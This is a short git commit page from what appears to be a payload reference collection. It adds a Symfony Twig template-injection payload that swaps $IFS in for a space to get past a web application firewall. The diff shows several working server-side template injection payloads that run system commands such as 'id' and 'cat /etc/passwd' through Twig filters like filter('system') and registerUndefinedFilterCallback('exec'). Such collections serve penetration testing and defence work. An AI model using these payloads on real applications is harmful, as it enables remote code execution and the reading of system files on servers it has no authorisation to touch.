Added IFS (WAF bypass) to Symfony Twig RCE

This commit is contained in:
SakiiR SakiiR 2020-03-29 23:23:26 +02:00
parent 8b78c2fe71
commit 38c273ff00

View File

@ -159,6 +159,7 @@ $output = $twig > render (
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
```
Example with an email passing FILTER_VALIDATE_EMAIL PHP.